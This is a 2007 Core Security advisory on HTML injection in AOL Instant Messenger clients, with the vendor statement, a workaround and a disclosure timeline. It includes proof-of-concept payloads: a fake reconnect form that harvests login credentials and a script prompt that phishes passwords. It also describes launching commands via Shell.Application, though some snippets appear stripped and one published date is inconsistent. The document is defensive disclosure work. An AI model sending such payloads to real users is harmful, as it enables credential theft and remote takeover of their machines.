- From: Core Security Technologies Advisories <advisories@xxxxxxxxxxxxxxxx>
- Date: Tue, 25 Sep 2007 13:20:55 -0300
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Core Security Technologies – CoreLabs Advisory
AOL’s Instant Messaging software
vulnerabilities in AOL's Instant Messaging software
Advisory ID: CORE-2007-0817
Date published: 2009-09-25
Date of last update: 2007-09-25
Vendors contacted: AOL LLC.
Release mode: Forced Release
Class: Design Error
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 25659
CVE Name: CVE-2007-4901
AOL Instant Messenger ("AIM", http://www.aim.com) is an instant messaging
application that allows its users to communicate in real time via text,
voice, and video over the Internet. It is maintained by AOL LLC. AIM Pro
is AOL's business-oriented version of AIM targeted for professional use
with an emphasis on "business-grade" security and integration with email
client and other productivity applications
(http://aimpro.premiumservices.aol.com/) AIM Lite, as defined in its
website (http://x.aim.com/laim/), is a reference application used to test
new technology also developed by AOL and available for the public in the
form of a "light IM client".
A vulnerability was discovered in these three popular versions of AOL
Instant Messaging software, AIM 6.1 (and 6.2 beta), AIM Pro and AIM Lite,
which expose workstations running the IM clients and their users to
several immediate high-risk attack vectors. To support rendering of HTML
content, the vulnerable IM clients use an embedded Internet Explorer
server control. Unfortunately they do not properly sanitize the
potentially malicious input content to be rendered and, as a result, an
attacker might provide malicious HTML content as part of an IM message to
directly exploit Internet Explorer bugs or to target IE‟s security
In particular this attack vector exposes workstations to:
- - Direct remote execution of arbitrary commands without user interaction.
- - Direct exploitation of IE bugs without user interaction. For example,
exploitation bugs that normally require the user to click on a URL
provided by the attacker can be exploited directly using this attack
- - Direct injection of scripting code in Internet Explorer. For example,
- - Remote instantiation of Active X controls in the corresponding security
- - Cross-site request forgery and token/cookie manipulation using embedded
AIM 6.1 (126.96.36.199)
AIM 6.2 (188.8.131.52)
AIM 6.5 (184.108.40.206) - http://beta.aol.com/projects.php?project=aim6
AIM Express - http://www.aim.com/aimexpress.adp
Classic AIM 5.9 - http://www.aim.com/get_aim/win/other_win.adp
*Vendor Information, Solutions and Workarounds*
AOL LLC Vendor Statement;
AOL has become aware of security vulnerabilities in several AIM instant
messaging clients. Successful exploitation of these vulnerabilities could
allow an attacker to execute arbitrary commands on a user's workstation.
AOL has deployed host side filtering on the AIM servers to block this
potentially malicious content from being sent to AIM clients.
Affected Products and Applications
* AIM 6.1
* AIM 6.2
* AIM Pro
* AIM Lite
1. Users of AIM can upgrade to the latest version of the AIM beta client
AOL would like to thank Core Security Technologies for responsibly
reporting this issue to AOL and for working with AOL on testing and
mitigating these issues.
*Other workarounds (un-official)*
Workaround #1: Users running AIM on Microsoft Windows XP SP2 or Windows
Server 2003 SP1 may implement Microsoft's "Internet Explorer Local Machine
Zone Lockdown" recommendations to mitigate risk. This will not fix the
reported bugs but will reduce the risk of exploitation significantly.
To enable Local Machine Zone Lockdown for your AIM client, go to the
following registry key:
Add a REG_DWORD value to this key named as the AIM client application (for
example, aim.exe) and set it to 1. Any other setting for this value will
disable Local Machine Zone Lockdown for the application.
For further details about how to configure this feature read Microsoft‟s
Internet Explorer Local Machine Zone Lockdown recommendation at:
This vulnerability was discovered by Lucas Lavarello from the CORE
Security Consulting Services (CORE SCS) team.
*Technical Description / Proof of Concept Code*
The standard protocol that AIM clients use to communicate is called OSCAR
(Open System for CommunicAtion in Realtime), which is a closed protocol
also used by AOL's secondary Instant Messaging client, ICQ (I Seek You).
On top of the OSCAR protocol, AIM clients have implemented support for
enhanced message types that use features provided by the HTML (Hyper Text
Markup Language) in order to, for example, provide AIM users with the
possibility of exchanging text messages with specific font formats or
colors. AIM 6.1, AIM 6.2 (beta), AIM Pro and AIM Lite have embedded an
Internet Explorer server control in the message display window in order to
facilitate the parsing and displaying of HTML controls. It is a common
practice for Windows applications to reuse Microsoft Internet Explorer‟s
HTML parsing objects included in the mshtml.dll library instead of using a
homebrew HTML parser. Several programming frameworks, including MFC
(Microsoft Foundation Classes), provide practical ways of embedding such
controls through classes like CHtmlEditView or CHtmlEditDoc.
Some of the advantages of using MSHTML are that it provides a particular,
feature-rich and somewhat complete support for DHTML and also that it is
easier to host Microsoft ActiveX Controls. However, in the context of this
advisory, such advantages may end up becoming security problems due to
design flaws and implementation bugs.
There are two particular characteristics in the implementation of the
described functionality that turn AIM‟s highly flexible message-content
features into high-risk attack vectors for its users.
First, the vulnerable IM clients do most of the sanitizing/filtering and
encoding of HTML content on outbound messages, thus a malicious attacker
with the ability to bypass outbound HTML filtering can send any type of
HTML content to other IM clients.
A handful of publicly available and well-known IM clients permit to send
un-sanitized data to any other client that supports the same
communications protocol including the vulnerable AIM 6.1, AIM 6.2, AIM Pro
and AIM Lite clients.
Second, although there are some defensive mechanisms implemented in the
vulnerable clients these are insufficient to properly handle messages with
potentially malicious content. Input validation of inbound messages
appears to be taking place but can be easily circumvented by an attacker.
As a result, the entire attack surface of MSHTML is exposed to remote IM
peers. By having a way of sending data straight to the MSHTML library,
attackers could abuse such high-risk attack vector to:
- - Execute arbitrary shell commands in the victim‟s workstation.
- - Direct the embedded IE to perform arbitrary HTTP requests (CSRF)
- - Include HTML controls (links, images, forms…) in IM text messages in
order to trick users into revealing sensitive information or performing
harmful actions against their accounts/workstation/etc.
- - Instantiate ActiveX controls, which attackers could use to target
vulnerabilities in the ActiveX objects themselves or use their
functionality to, for example, read arbitrary files from the victim's
file system or even execute arbitrary shell commands in the victim's
- - Directly attack vulnerable versions of Internet Explorer in user
workstations. This is a typical client-side attack scenario and could
lead to the remote execution of arbitrary code in the victim's
workstation. In this scenario "one-click" IE bugs (exploitation requires
user assistance) become "zero-click" bugs (exploitation does not require
AOL's "Classic AIM 5.9" is an official alternative client for nostalgic
users and is not vulnerable due to the fact that instead of using MSHTML
to render HTML it appears to include limited rendering functionality
either provided by a third party library or homebrew code. Although there
is no guarantee that its implementation lacks vulnerabilities, in our
tests it did prevent the attack vectors described in this advisory. So
is the case for AOL‟s AOL 220.127.116.11 which although it is embedding an
Internet Explorer server control in the message window, could not be
exploited during our tests.
AOL's online AIM Express web client which is written in ASP.NET and also
appears to be taking the necessary defensive measures required to prevent
any of these problems from taking place.
*Proof of concept snippets*
The following examples provide code snippets that should serve as
proof-of-concept code to demonstrate some of the problems that arise from
the issue reported. The snippets have been arranged according to their
risk level, in increasing order (lower risk first), with the
intention of making this process more self-explanatory. In order for these
snippets to work, they must be sent within the contents of a standard
instant message, but using a client that will not encode message contents
*Using HTML controls in order to trick victims into revealing sensitive
information or do harmful actions against their accounts/workstations or
to force outbound HTTP requests (CSRF).*
The following proof-of-concept code was successfully tested on AIM Pro.
Other vulnerable clients need some tweaking in order to get it to work.
The code uses <hr>, <h2>, <form> and <input> tags to trick the victim into
believing that an AIM disconnection took place. It then requests the
victim to type in the user credentials and to press the Reconnect (submit)
button in order to send the credentials to the attacker. In this
case, the form is submitted to "http://localhost"
- --- begin code ---
<hr><h2>SERVICE UNAVAILABLE</h2><hr>Your connection to AIM has been
interrupted. Please type in your credentials in order to reconnect. Thank
you.<br><form method=GET action=http://localhost>Login: <input type=text
name=login><br>Password: <input type=text name=password><br><input
- --- end code ---
This is simply one example of exploitation using only embedded HTML. There
are plenty of HTML controls that could be used in similar exploitation
*Using scripting languages to enhance an attack*
As mentioned in the beginning of the technical details section, we
identified among all the vulnerable clients what appeared to be an
existing defensive measure (or a functional characteristic with a
side-effect) meant to prevent attackers from inserting malicious
statements inside <script> tags within a message, the script tags
appear to be filtered by the receiving client upon display (therefore not
the following example:
The following code does not work:
The following code *does* work:
Note that even though the different proof-of-concept snippets provided in
be thought of as circumscribed to message contents with embedded <img>
other HTML controls and some of the attack vectors that we mention do not
The following proof-of-concept code will display a prompt box to the
victim, requesting to type in the victim's AIM credentials. It will look
authentic due to the fact that the message box is not part of the text
- -- begin code --
disconnected from the network.\nPlease re-enter your password to
reconnect.", "");alert(“You have disclosed your password:”+passwd);'>
- -- end code --
Once the victim types-in her/his password, an alert message box will be
displayed showing the entered password. Attackers could easily retrieve
passwords and other security-sensitive data by using the same techniques
used to exploit Cross Site Scripting vulnerabilities to steal browser cookies.
*Instantiating ActiveX controls and taking over the victim’s workstation*
Another way of enhancing an attack could rely on using ActiveX controls
installed on the target system. For that, the attacker needs the ability
to instantiate arbitrary ActiveX controls using an IM message content
constructed to accomplish such purpose. We successfully used this attack
vector in AIM 6.1, AIM 6.2beta and AIM Lite in order to get immediate and
instant access to the victim‟s workstation. This attack vector increases
considerably the severity of the problems found, turning the affected
clients into a doorway to the user‟s computer and ultimately providing
attackers with ways of executing arbitrary commands.
Apparently, AIM Pro is the only client that runs the Internet Explorer
server control in a "protected" security zone, where the victim is
prompted with the typical message box that says:
"An ActiveX control on this page might be unsafe to interact with other
parts of the page. Do you want to allow this interaction?"
The choice of the user will affect the entire instance of the application
and be applied to any other existing/future message windows (as well as
potentially any other locations where the Internet Explorer server
control is used.)
either exploit client-side vulnerabilities of the ActiveX objects
themselves or to use ActiveX functionality as an aid to exploit other bugs..
As the following proof-of-concept snippet shows, an attacker can
successfully instantiate the "Shell.Application" object that is included
in the Microsoft Windows OS installation and use it to execute any
arbitrary command on the victim‟s workstation.
As previously mentioned, in three of the four affected versions of the
product, the attack is straight forward and no interaction with the victim
is required. Such clients appear to be running Internet Explorer control
in the Local Machine Security Zone.
- -- begin code --
- -- end code --
The proof-of-concept code from above will run an instance of Microsoft
Windows command line tool, executing the pause command. Upon receipt, it
will instantly show a blank command window in the victim‟s workstation. An
attacker may easily abuse this issue to gain complete control over the
victim‟s machine with the privileges of the user running AIM.
*Attacking vulnerable versions of Internet Explorer controls*
This scenario is just a clear-cut client-side attack vector and would rely
on any unpatched security vulnerability in Internet Explorer or the
ActiveX controls it hosts. An embedded HTML URI can direct the IE server
control to automatically visit a previously setup site that delivers
malicious content to exploit known Internet Explorer vulnerabilities. In
this case, the AIM clients identified as vulnerable in this advisory play
the role of exposing their users to attacks without requiring user
intervention to allow/disallow access to the rogue website. This attack
scenario is functionally equivalent to a user of Internet Explorer
clicking on a URL and visiting a malicious site.
*Additional Information and resources*
AOL’s AIM clients
AIM Pro: http://aimpro.premiumservices.aol.com/
AIM 6.2: http://beta.aol.com/projects.php?project=aim6
AIM 6.1: http://www.aim.com/get_aim/win/latest_win.adp
AIM Lite: http://x.aim.com/laim/
AIM 5.9: http://www.aim.com/get_aim/win/other_win.adp
AIM 6.5: http://beta.aol.com/projects.php?project=aim6
Introduction to ActiveX Controls:
Internet Explorer Local Machine Zone Lockdown
About URL Security Zones
*2007-08-21*: Initial report to AOL Product Vulnerabilities Team (PVT)
requesting acknowledgement within 2 business days, advisory publication
date tentatively set to September 24th.
*2007-08-22*: Received an acknowledgement and PGP public key from AOL's
PVT. AOL's PVT indicates that upon reception of vulnerability details and
bug confirmation, expectations should be to allow for two business weeks
for an estimated timeline to resolution. Core's PGP/GPG key requested.
*2007-08-23*: Draft advisory and GPG public key sent to AOL's PVT.
*2007-08-31*: Acknowledgement from AOL confirming the existence of the
vulnerabilities in AOL's IM clients. AOL indicates that the development
and QA teams are working on fixes with an estimated release scheduled for
mid-October. Additionally, note that one of the IM clients requires
coordination with a third-party.
*2007-09-04*: Reply from Core, acknowledging the previous email from AOL
PVT. Release date for the advisory set to October 16th in accordance to
AOLs estimation. Core indicates that there is no indication of
exploitation "in the wild" but that these bugs are considered extremely
critical due to the simple way they can be found and exploited and the
large population of vulnerable systems.
*2007-09-10*: Email from the AOL PVT indicating that the bugs are
considered extremely critical by AOL as well and expressing their
intention to provide weekly status updates. An estimated date for fixes
will be forthcoming as soon as they have one. In the meantime, a
server-side mitigation mechanism has been deployed and Core is invited to
*2007-09-10*: Core acknowledges reception of AOL‟s last email. We‟ve taken
up the offer to test the mitigation mechanism and although it did prevent
the original proof-of-concept code snippets from working we found that
attacks are still possible with minor tweaks to the original code. Tests
were performed using only one of the 4 vulnerable clients, the
others are deemed equally vulnerable.
*2007-09-12*: Core email to AOL notifying them that information about the
bug may have been disclosed to public security mailing lists by an unknown
third-party . Precise technical details were not given and therefore it
is difficult to assess if the bug disclosed by the third-party is directly
related to those reported by Core. There are still no indications of
exploitation of these bugs "in the wild". Nonetheless, it is reasonable to
think that the independent discovery and exploitation of the bugs reported
by Core is now imminent, should that happen, Core‟s security advisory will
be published the upcoming week (tentatively Monday Sept. 17th 2007) as a
*2007-09-14*: Email from AOL PVT indicating that AOL is in correspondence
with the third-party and received additional information about the bug,
leading the AOL team to think that the publicly disclosed vulnerability is
not similar in nature to those reported by Core. The public vulnerability
will be fixed in the AIM clients in mid-October. AOL's PVT does not feel
that this public disclosure warrants disclosure of Core‟s advisory. The
team could not verify that the mitigation mechanism deployed on the server
can still be bypassed as indicated by Core in a previous email. The team
requests the exact version numbers of the AIM clients used, proof of
concept code and/or a description of how to reproduce the test.
*2007-09-14*: Email sent to AOL indicating that a second post with
additional information about the bug has been made by the third-party .
Core requests further details about this publicly disclosed bug and asks
AOL to provide the analysis that lead the AOL team to conclude that it is
of a different nature of those reported by Core. This email includes
detailed step-by-step instructions on how to bypass the server-side
filtering mechanism accompanied with the exact version number of the AIM
client used (18.104.22.168) and the sample code. Core's own analysis of current
publicly available information indicates that the bug is indeed of similar
nature than those reported in Core‟s advisory and that active exploitation
of the bug is likely to happen in a matter of days (not several weeks).
Thus, in accordance to Core‟s analysis the most responsible course of
action is to clarify the nature of the AIM problems and provide the
vulnerable users with enough information to assess and mitigate the risk.
Baring any further indication from AOL to support the theory of these
being bugs of different nature, Core will be ready to publish its security
advisory the week of Sept. 17th to 21st.
*2007-09-18*: Email sent to AOL PVT indicating that Core now considers the
information about the reported bugs to be publicly available. The fact
that the third-party reporters did not find (or did not publish) a way to
exploit it remotely in a more reliable manner does not prevent others from
doing so. Core‟s team believes that the publicly available information
about this bug is confusing and does not help vulnerable users understand
the risks they are exposed to. Therefore, unless AOL provides new
information or analysis to change Core‟s analysis, Core will publish the
security advisory to provide vulnerable users with the details needed to
assess risk and devise their own mitigation mechanisms until official
fixed versions of the clients are made available.
*2007-09-19*: Email sent to AOL indicating that information about the
reported vulnerabilities is now part of Mitre CVE dictionary, the US
National Vulnerability Database , the Securityfocus.com vulnerability
Database  and the Secunia.com website , therefore Core considers
that any security-aware party (either good or bad intended) can now easily
figure out a remote exploitation method. In fact, several messages in
AOL's technical forums seem to indicate that users of AIM clients are
experiencing AIM "bugs" or "problems" related to the issues reported in
Core‟s advisory , and that AOL itself seems to be using
controls . Therefore, to provide accurate information that helps
security practitioners understand the risks and devise mitigation
strategies for affected end users and organizations Core has decided to
release this security advisory on Monday Sept. 24th. AOL‟s statement
regarding release of fixed clients and any other mitigation mechanism is
expected by COB Friday Sept. 21st. In the meantime, Core researchers will
try to find suitable workarounds to prevent exploitation.
*2007-09-20*: Email from AOL PVT indicating that the bug posted publicly
is different than those reported by Core because it “is based upon another
application within the AIM client that allows a limited number of
characters that can be put into a alert message within a script tag,
"<script>alert("Test")</script>". This message will only work when
sending a IM to someone who is using one of the AIM 6.x clients and does
not have the sender focused within their AIM client. When sending a
message to an AIM user who does not have the sender focused in their AIM
client, a notification window will pop up informing the recipient that
they have just received a message from another AIM user. It is this
application in the AIM 6.x clients that is not properly parsing the
messages for this type of html tag and pop's up an alert window.” The
other public problems pointed out by Core posted in AOL‟s message boards
are not caused by AIM clients. AIM client 22.214.171.124 (currently in Beta)
fixes the reported problems and is available for public download (and for
testing). AOL remains unsuccessful trying to verify that the serverside
filtering mechanism can be bypassed and requests additional data (exact
version numbers of the IE on the target system and AIM clients used). AOL
requests to delay publication of the security advisory until the date
previously agreed on (October 16th, 2007) the release of fixes is still on
schedule for mid-October.
*2007-09-20*: Email sent to AOL PVT stating that Core‟s analysis indicates
that the publicly disclosed bug and those reported by Core are of the same
and that in fact the public one is just a trivial variation of one of the
attack scenarios explicitly described by Core. Further details provided
about how to test AOL‟s server-side filtering mechanism (although we don‟t
think the versions of IE and AIM on the source and target system are
relevant to test server-side filtering). Core points out that the messages
on AOL's message boards disclose specific non-malicious HTML code that is
instantiation of ActiveX controls and that should be considered directly
related to the bugs reported because they demonstrate that arbitrary HTML
content can be injected into AIM. Core has confirmed that AIM 126.96.36.199 is
not vulnerable to attack (although extensive regression testing of all
possible attack patterns was not performed).
Given all the publicly known facts Core deems active exploitation imminent
and therefore still plans to release the security advisory on Monday Sept.
24th in order to provide precise details to help users become aware of the
risk they are exposed to and to deploy countermeasures to prevent active
*2007-09-21*: Email received from AOL PVT requesting a conference call to
discuss the issues reported and how to handle them.
*2007-09-21*: Conference call between Core Security advisories team,
Core's bug discoverer and AOL PVT. AOL reported that the current version
of AIM 6.5 addresses the bugs reported and that AOL could replicate the
test of the service-side filters and had fixed the bypass. Availability of
fixed release versions of AIM is still scheduled for mid-October. Core
reports that AIM v188.8.131.52 indeed seems to have fixed the problem
(although full regression was not performed) and that the publicly known
information about HTML injection in AIM clients makes it trivial for
attackers to figure out variations of the published code that can succeed
against vulnerable systems. Core will re-test the server-side filtering
mechanism. The final security advisory will be sent to AOL by COB
September Friday 21st and the publication date moved to Tuesday, September
25th, 2007 to incorporate AOL's official statements regarding fixes and
mitigation and final rests of the interim server-side filters. The
publication date is final.
*2007-09-21*: Email sent to AOL PVT indicating the server-filtering has
improved considerably but can still be bypassed. Other variations of the
same type of attack should be blocked.
*2007-09-21*: Email sent to AOL PVT indicating use of Internet Explorer
Local Machine Zone Lockdown recommendation may be a suitable workaround.
*2007-09-24*: Email from AOL PVT including AOL's official statement
regarding this report (included in the "Vendor Information, Solutions and
*2007-09-25*: CoreLabs Security Advisory CORE-2007-0817 published
 AIM Arbitrary HTML Display in Notification Window
shell at dotshell dot net
 AIM Local File Display in Notification Window
shell at dotshell dot net
 "AIM 6.1 problems" thread on AOL‟s AIM Support & more technical forum
 "IM problems" thread in AOL‟s AIM 6 Technical Issues forum
 "Copyright and Confidentiality notice?" thread on AOL‟s AIM 6
Technical Issues forum
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
*About Core Security Technologies*
Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core augments its
leading technology solution with world-class security consulting services,
including penetration testing and software security auditing.
Based in Boston, MA and Buenos Aires, Argentina, Core Security
Technologies can be reached at 617-399-6980 or on the Web at
The contents of this advisory are copyright (c) 2007 CORE Security
Technologies and (c) 2007 CoreLabs, and may be distributed freely provided
that no fee is charged for this distribution and proper credit is given.
PGP/GPG KEYS This advisory has been signed with the GPG key of Core
Security Technologies advisories team, which is available for download at
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Version: GnuPG v1.4.7 (MingW32)
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